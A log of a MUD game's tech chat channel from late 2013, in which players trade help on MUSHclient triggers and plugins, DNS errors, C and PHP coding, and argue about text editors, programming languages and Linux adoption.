T3/r7/2013-11-25.txt.gz:{chan ch=tech}Incredible Iceman Tech: how would i change a room flag on mushmapper.. its set as norecall in error
T3/r7/2013-11-25.txt.gz:{chan ch=tech}Trainer Mokg Tech: delete it and walk into it
T3/r7/2013-11-25.txt.gz:{chan ch=tech}Incredible Iceman Tech: is that the only way? :p
T3/r7/2013-11-25.txt.gz:{chan ch=tech}Trainer Mokg Tech: no idea
T3/r7/2013-11-25.txt.gz:{chan ch=tech}Incredible Iceman Tech: its my clan recall.. trying not to delete cexits
T3/r7/2013-11-25.txt.gz:{chan ch=tech}Incredible Iceman Tech: leaving morgue set recall as norecall
T3/r7/2013-11-25.txt.gz:{chan ch=tech}Turie Tech: You could open up and find the room in SQlite and remove it that way. However, I do not know exactly how.
T3/r7/2013-11-25.txt.gz:{chan ch=tech}Incredible Iceman Tech: i'll delete :p
T3/r7/2013-11-25.txt.gz:{chan ch=tech}Incredible Iceman Tech: thanks guys =)
T3/r7/2013-11-25.txt.gz:{chan ch=tech}Kosirk Tech: Ha! Got me a cute trigger to intercept Exits and make the "other" exit in white :D
T3/r7/2013-11-25.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: is there something wrong with the Aard server atm?
T3/r7/2013-11-25.txt.gz:{chan ch=tech}Tigernuts Tech: how so?
T3/r7/2013-11-25.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: I'm getting the message "Unable Fo resolve host name for "aardmud.org", code = 11001 (host not found) on mush right now
T3/r7/2013-11-25.txt.gz:{chan ch=tech}Tigernuts Tech: and yet you're here
T3/r7/2013-11-25.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: I'm playing by phone atm, trying to get mush to connenct.
T3/r7/2013-11-25.txt.gz:{chan ch=tech}Tormat Tech: more like your desktop has some dns issue...
T3/r7/2013-11-25.txt.gz:{chan ch=tech}Tigernuts Tech: or isp
T3/r7/2013-11-25.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: I just restarted my comp
T3/r7/2013-11-25.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: oh, I think I figured it out. it was comp side issue.
T3/r7/2013-11-25.txt.gz:{chan ch=tech}Useless Hadar Tech: when writing a .c file i have an #include <math.h>, but when i go to compile it it says pow is undefined, where can i go check to see if i have the correct math.h with linux?
T3/r7/2013-11-25.txt.gz:{chan ch=tech}Keldrath Tech: not <cmath> ?
T3/r7/2013-11-25.txt.gz:{chan ch=tech}Useless Hadar Tech: using -lm while compiling works
T3/r7/2013-11-25.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Anyone know how to resolve the 'No input file specified' problem on IIS 8 with PHP 5?
T3/r7/2013-11-25.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Applying some of the options found through Google didn't help.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Swangin Tech: how do you get the health bar back in mushclient/
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Swangin Tech: found it
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Naud Tech: can anyone help set up a simple trigger on my aard mush client that plays a sound when the quest timer runs to 0?
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Naud Tech: im not tech savvy soo its kinda of confusing
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Gener Tech: use as the trigger    QUEST: You have run out of time for your quest!   then select a sound
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Bunnyy Tech: does mushclient come with sounds?
T3/r7/2013-11-26.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yeah 1 beep
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Gener Tech: no but u can use windows sounds or d/l some
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Bunnyy Tech: where's it found under? i was looking for it but i ended up having to dl one
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Gener Tech: c:/windows /media
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Naud Tech: ok so i need some newbie tech help, i have a plugin that you can only drag from the top of the box, but i somehow managed to push the box off screen where i can't click on the top to drag it back into view, how do i fix this?
T3/r7/2013-11-26.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: easy way i think is to reinstall it
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Naud Tech: tried that
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Kosirk Tech: Is it part of the Aardclient? If so, you can reset all positions and sizes with aardreset
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Useless Hadar Tech: i was wondering how i can make it so that if someone registers through the boot website, and say im online on the website i can give sort of a "notification" via popup to me, or some other way (maybe how FB does it with the world dropdown)
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Ontuct Tech: Whenever I go into a clan, loqui, bard, crusaders every e n s w u d causes pass without a trace to nuligfy and recast, any ideas? not in general areas.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Definitely Defines Tech: meh donations r closed
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Definitely Defines Tech: mis
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Zimzar Tech: any blowtorch users out there?
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Zimzar Tech: blowtorch keeps disconnecting me, is there a command or setting to help?
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Kosirk Tech: Doesn't it have a reconnect on d/c option? like in Mush
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Flak Tech: if thats the app i'm thinking of, it disconnects you every 3 minutes unless you get the paid version
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Zimzar Tech: thanks for the tip, Flak
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Flak Tech: i could be wrong but i think i played around with that app and it drove me crazy to use :o
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Zimzar Tech: yeah, i got my binds finally, its fun if i can just get the  full version
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Tech: Flak smiles happily.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Taste The Alestorm Tech: how would one go about making a trigger on blow torch that when you are disarmed you wear your dagger again?
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Sickerone Tech: how come my s&d stoped letting me know if i need to level up or not to cp
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Sickerone Tech: anyone know why my S&D pluggin added an extra cp check after cp c all of a sudden?
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Zade Tech: installed too many pluggins perhaps
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Sickerone Tech: happened after adding some pluggins yeah maybe thats it
T3/r7/2013-11-26.txt.gz:{chan ch=tech}TrEz Tech: it's cause bast and winkle interfere I think
T3/r7/2013-11-26.txt.gz:{chan ch=tech}TrEz Tech: you should remove bast's and try again
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Sickerone Tech: oh, you know what pluggin specificlly?
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Sickerone Tech: statmonitor maybe?
T3/r7/2013-11-26.txt.gz:{chan ch=tech}TrEz Tech: I can't remember, was quest track related tho I think
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Sickerone Tech: maybe its stat monitor, dont think its the gear pluggin
T3/r7/2013-11-26.txt.gz:{chan ch=tech}TrEz Tech: oh definitely not gear
T3/r7/2013-11-26.txt.gz:{chan ch=tech}TrEz Tech: something quest/cp related
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It is the cp broadcaster, which is part of stats and events
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Sickerone Tech: ah thanks will try to fix
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Useless Hadar Tech: whats the best way to add "wiki markup" to a mysql DB with PHP if i sanatize(); it does not upload, if i do not sanatize it then it errors out because of the single quotes and other stuff
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Useless Hadar Tech: nm forgot about mysql_real_escape_string
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Zade Tech: where is the best location to install Lua-for-Windows 5.1.4-46 on WinXP: Program Files (default), Administrator Documents, Shared Documents, ..
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Negader Tech: For Lua, try out this web page:  http://luatut.com/introduction.html  It has a Lua interpreter built in.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Zade Tech: i've already downloaded the 25664 KB LuaForWindows_v5.1.4_46.exe + the 2660 KB vcredist.exe runtime, and don't want to use the Program Files folder - likely going to stick the LuaForWin into the Shared Documents section - so i may program from either an Admin or Notadmin login (Luabug be damned)i
T3/r7/2013-11-26.txt.gz:{chan ch=tech}NoSnail4U! Anaristos Tech: since you can have the lua dll anywhere as long as it can be found, you are not required to put it in Program Files (x86).
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Zade Tech: all this, so i may descramble and look at the condensed pluggins that came with the AardMushClient
T3/r7/2013-11-26.txt.gz:{chan ch=tech}TrEz Tech: like which one
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Akuri Tech: you can open the .xml file in komodo and it will show correctly
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Zade Tech: Komodo is a firewall, and a xml reader ?
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Akuri Tech: komodo is just a progamming editor not a firewall
T3/r7/2013-11-26.txt.gz:{chan ch=tech}TrEz Tech: I use notepad++
T3/r7/2013-11-26.txt.gz:{chan ch=tech}TrEz Tech: supports lua colouring too
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Sickerone Tech: whats a good program to combine 2 video files and have them play one after the other
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Arnica Tech: anything on a Mac
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Zade Tech: when i attempt to use Windows Explorer to look at a pluggin, get "Cannot view XML input using XSL style sheet"
T3/r7/2013-11-26.txt.gz:{chan ch=tech}TrEz Tech: use notepad++
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Sickerone Tech: I agree, on windows though
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Obonsai Tech: try avidemux or virtualdub, both free and pretty ok
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Obonsai Tech: nothing too fancy, but for just joining stuff
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Zade Tech: the Notepad supplied by WinXP displays a condensed mess
T3/r7/2013-11-26.txt.gz:{chan ch=tech}TrEz Tech: I said notepad++, not notepad supplied by winxp
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: notepad++ rox
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Arnica Tech: get NotePad++ a wondr=erful tool
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: notepad++ is very nice.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Zade Tech: going to download Notepad++ to WinXp later - currently running on Win98se 
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Glacier Tech: With mushclient, when you copy something from the main screen, is there an option somewhere to include colorcodes?
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: color copy plugin
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: ctrl+d
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Arnica Tech: wow, have you got a millenium edition around?
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You can use wordpad, it handles *nix newlines where notepad does not
T3/r7/2013-11-26.txt.gz:{chan ch=tech}TrEz Tech: I was gonna say XP is old, but 98 is a another level
T3/r7/2013-11-26.txt.gz:{chan ch=tech}TrEz Tech: I use notepad++ when I code stuff tho, it has syntax colour
T3/r7/2013-11-26.txt.gz:{chan ch=tech}NoSnail4U! Anaristos Tech: it has language sytax support.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Arnica Tech: XP is still supported ... for 5 more months
T3/r7/2013-11-26.txt.gz:{chan ch=tech}TrEz Tech: I think it supports lua syntax too
T3/r7/2013-11-26.txt.gz:{chan ch=tech}NoSnail4U! Anaristos Tech: it does
T3/r7/2013-11-26.txt.gz:{chan ch=tech}NoSnail4U! Anaristos Tech: it has a sytax support menu
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Obonsai Tech: it supports everything.  and if it doesn't, there are syntax files on their site for other languages
T3/r7/2013-11-26.txt.gz:{chan ch=tech}NoSnail4U! Anaristos Tech: or you can create your own.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Obonsai Tech: ^^
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Zade Tech: Wordpad.exe worked -- is Notepad++ preferable to Wordpad
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Arnica Tech: Yes
T3/r7/2013-11-26.txt.gz:{chan ch=tech}NoSnail4U! Anaristos Tech: well... I like the RTF in wordpad.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Arnica Tech: Loveable
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Arnica Tech: are we talking text editor or WYSIWYG?
T3/r7/2013-11-26.txt.gz:{chan ch=tech}NoSnail4U! Anaristos Tech: it would be waste to use wordpad as text editor. It is designed as decoument formatter.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}NoSnail4U! Anaristos Tech: what used to be called a publisher.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Arnica Tech: exactly. It makes an adequate text editor in the face of the utter lack of a substitute
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Arnica Tech: Use worpad++ for a text editor, or get emacs or get Ubuntu and use real editors, OK?
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Tech: Arnica grumbles about do everything Personal Computers
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Akuri Tech: even vim is better than notepad haha
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Arnica Tech: and gvim rocks
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Aizma Tech: Vim is worlds better than most editors. Also, get a real distro if you're gonna switch to Linux.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Arnica Tech: CentOS is a good place to start :)
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Zade Tech: already use an excellent fast-programming text editor from the Dos window days -- merely require to output the Wordpad image into a *.txt file devoid of the fancy formatting
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Arnica Tech: Zade?
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Zade Tech: Notepad++ likely supplies linewrap which the Dos Editor displays as one long line unwrapped - but the line block manipulations are far faster in a programming-editor 
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: why is vim better than notepad++?
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Arnica Tech: gvim and NotePad++ are a tossup in my book. just different platforms. NotePad ++ is as good as I have found for non-professional Windows.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Zade Tech: an Interactive Deskop Environment programming package is great for debugging though, but heavy code typing and manipulation requires an editor that does require speedtyping to mark out and move blocks fast
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: i don't see how hard it is to move blocks in notepad++
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: ctrl x ctrl v done if anything
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Zade Tech: to mark out and move a block of text: two alt-L followed by an alt-M at the new location
T3/r7/2013-11-26.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: does notepad++ run in a linux CLI?
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: what's 'marking out'?
T3/r7/2013-11-26.txt.gz:{chan ch=tech}TrEz Tech: I ctrl-x ctrl-v stuff like a boss on notepad++
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Zade Tech: mark out: highlight for moving
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: you can mark anything you want...
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: mark for reference, and if you want to move it's just select, ctrlx and ctrl v
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Arnica Tech: No Drakoth, for that you would use ed
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: and mouse selection is way faster than alt-l x2
T3/r7/2013-11-26.txt.gz:{chan ch=tech}TrEz Tech: Zade what do you wanna do with an editor, you said you want to open plugins only
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: but feel free to be a hipster haha
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Zade Tech: and to highlight a small rectangulr block in a midst of several lines, simply two ctl-K
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: and to highlight ANYTHING is simply click.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: regardless of size
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Zade Tech: to program new pluggins, require to learn how to interface Lua programming with the Aard client, and that requires looking at previous pluggins
T3/r7/2013-11-26.txt.gz:{chan ch=tech}TrEz Tech: I can do like 7 different languages and use 4 frequently, notepad++ is perfectly fine
T3/r7/2013-11-26.txt.gz:{chan ch=tech}TrEz Tech: and has tabs
T3/r7/2013-11-26.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Heh, if you learn the keyboard shortcuts well you won't need to move your hand to the mouse.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: But the trouble is, you have to learn them...
T3/r7/2013-11-26.txt.gz:{chan ch=tech}TrEz Tech: and has sweet bookmark/mark
T3/r7/2013-11-26.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I still haven't used all the registers available in vim, though.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: And I use arrow keys rather than hjkl.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Zade Tech: small rectangular blocks are great for moving tables -- suppose may be done with a mouse if click at the upperleft and release at the lowerright
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: mouse is faster and more exact than moving cursor around with arrow keys
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: assuming you have decent hand eye coordination from lots of fps games!
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Aizma Tech: If you have to touch the mouse, you're doing it wrong
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: why
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Aizma Tech: It's inefficient
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Negader Tech: alt-tab and alt-f4 is faster sometimes.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: how is using the mouse inefficient
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Aizma Tech: You have to move your hands
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Aizma Tech: well, hand, at least
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: the alternative is to go downdowndowndowndowndown leftleftleftdowndowndown leftleft
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: that sounds more inefficient to me
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: if you could do it in a couple of key presses sure
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: but i don't see that happening in editting code
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Aizma Tech: Then you're obviously not using a good enough editor
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: walk me through how you do it in your awesome editor?
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: say you want to select and move a block of code
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Aizma Tech: 6j is down 6 times
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: so 6 keypresses
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Aizma Tech: No, that's 2 keypresses
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: oh so you first have to count how many lines to move
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Aizma Tech: Or use line numbers
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Aizma Tech: If you can't do that math in your head, you have other issues
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: sure you can do the math but it takes a second
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: in that second i'm done with a mouse :)
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Aizma Tech: Whatever works for you. But I'm much faster with just the keyboard.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Zade Tech: one keypress of the down arrow and hold, then release when at the line 
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: play many fps games?
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Aizma Tech: Yes, actually
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: 99% of coding is thinking about coding, the actual entry is such a silly thing for people to try to shave time off
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Tech: Redryn noddles in total agreement at Captain HR Vakieh.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: yea well it's preference
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: just don't see how it's faster personally
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Madcatz Tech: Naming all your variables a, b, c, d, e, f, g cuts down on coding time, too.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Tech: Madcatz nods quietly to himself.  What a wacko.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: haha
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Aizma Tech: Watch someone who knows how to use emacs do their thing. Then tell me how your editor is better.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: z2 = a32 - b3 
T3/r7/2013-11-26.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Well, with code folding I can reproduce 300-line blocks of code with three keys, yyp...
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: VIM/EMACS masters truly are the fastest editors, but I'm not convinced it is due to their choice of editor so much as the editors themselves attract those already predisposed towards concise editing
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Zade Tech: perhaps 99% of coding is NOT fighting with the editor which insists on umpteen keypesses do something done a lot
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Duplicated code is not a good thing...
T3/r7/2013-11-26.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Then again, if you are impressed by that, you should probably be thinking about why you need to reproduce 300 line blocks in the first place :P
T3/r7/2013-11-26.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Vakieh: I was getting to that :P
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Myself, I can enter code in N++, Eclipse or VS faster than I can think up code to enter, and that is exactly as fast as I need my editor to be
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Aizma Tech: My professor for AI in undergrad wrote a fairly robust rewrite system in Scheme using emacs in all of like 12 seconds
T3/r7/2013-11-26.txt.gz:{chan ch=tech}TrEz Tech: I hate that scheme
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Tech: [Deputy] Trurien rapidly nods twice at Captain HR Vakieh, in complete agreement.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Avoid the religious battles where you can :P
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Aizma Tech: Scheme/Lisp is pure sex
T3/r7/2013-11-26.txt.gz:{chan ch=tech}TrEz Tech: and damned prolog
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I prefer Haskell as an 'academic' language personally
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Aizma Tech: Hipster
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: But same as Scheme/LISP is will never see mainstream use
T3/r7/2013-11-26.txt.gz:{chan ch=tech}NoSnail4U! Anaristos Tech: personally, I am a prolog fan.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}TrEz Tech: life's too short
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Aizma Tech: I bet you like eating babies, too
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Cue fanbois telling me I'm wrong :-P Like how every year is going to be Linux's mainstream year
T3/r7/2013-11-26.txt.gz:{chan ch=tech}TrEz Tech: life's too short
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Pleiades Tech: he does
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: tbh my favourite language is a tossup between C# and Python.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}TrEz Tech: I like c# too
T3/r7/2013-11-26.txt.gz:{chan ch=tech}TrEz Tech: and sql
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Pleiades Tech: last language I used was xpress
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: SQL doesn't really count as a language so much as an interface
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: But C# and LINQ is so sexy with SQL.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}TrEz Tech: sql's a language tho
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Jhav Tech: It is a language.  It's even Turing complete, though you really should only use it for it intended purpose of querying thing
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: So is HTML
T3/r7/2013-11-26.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: English is a language.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Zade Tech: when almost every human develops an eidectic-memory replete with decent intelligence, maybe than Linux may become popular -- does Microsoft produce and supply a thick MANual book jampacked with arcane complex line commands for the common user - nope, microsoft likely endorsed  Windows for Dummies
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Jhav Tech: (then again, sed is Turing complete as well, but you REALLY REALLY shouldn't use it that way)
T3/r7/2013-11-26.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: eidetic*?
T3/r7/2013-11-26.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Zade: I don't appreciate being treated like a dummy.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I would split languages into communication languages, programming languages, markup languages and querying/interface languages. Each can to some extent perform the tasks of another, but they have their purpose and they should stick to that.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Oh damn, got a virus. Gotta reformat my system now.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Caramel Milkshake Tech: shrugs, Ubuntu is pretty freakin close to being usable, and I think Mint even more so, by the average person.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Caramel Milkshake Tech: on average tech anyway
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Ubuntu + Unity was a good effort, but it isn't usability that is the issue - it is the providor/vendor catch-22
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Caramel Milkshake Tech: the holdout issues seems to be video card acceleration (which is getting better now thanks to  Steam, haha) and obscure weird hardware like odd wireless cards in laptops
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Nobody will use Linux while the applications they want are not supplied for Linux. And no vendor will supply applications for Linux while the mainstream do not use Linux.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It is what makes projects like WINE so important
T3/r7/2013-11-26.txt.gz:{chan ch=tech}TrEz Tech: you can install ubuntu and watch movies, and listen to music, for most people that's prolly enough
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Caramel Milkshake Tech: shrugs more and more applications are in the browser for a lot of people.  Linux does that just fine.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}TrEz Tech: but games that aren't ported you'd have to emulate
T3/r7/2013-11-26.txt.gz:{chan ch=tech}TrEz Tech: and some professional soft too
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Caramel Milkshake Tech: yeah but this notion that linux is hard to install/setup/operate is a little dated when you have distro's like mint. 
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Try running decent photo editing software on *nix without WINE.]
T3/r7/2013-11-26.txt.gz:{chan ch=tech}TrEz Tech: used to be hard, now it's prolly not as hard
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Nobody in industry uses GIMP
T3/r7/2013-11-26.txt.gz:{chan ch=tech}TrEz Tech: I remember spending days in highschool trying to make my soundcard work, and had no inet
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Caramel Milkshake Tech: Probably because of CYMK issues, but gimp is pretty effing good.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: GIMP is great, but Adobe is still the king
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I had hoped their cloud based would tank, but it seems not :-(
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Aizma Tech: Does MATLAB count as photo editing software? :p
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Caramel Milkshake Tech: uhh I thought matlab (or was it mathematica?) had a really good linux install
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Quadrapus Tech: Matlab is pretty good
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: a lot of products are dominant simply because everyone uses them
T3/r7/2013-11-26.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Octave can be used too.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: network effects are very important
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: but i don't quite recall
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Redryn Tech: mis
T3/r7/2013-11-26.txt.gz:{chan ch=tech}TrEz Tech: you study soft in uni, then you start a job and they use windows soft, it's unlikely you gonna start using linux substitutes
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Tech: Redryn nods at TrEz.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I'm using Linux in a Windows-dominated company though.
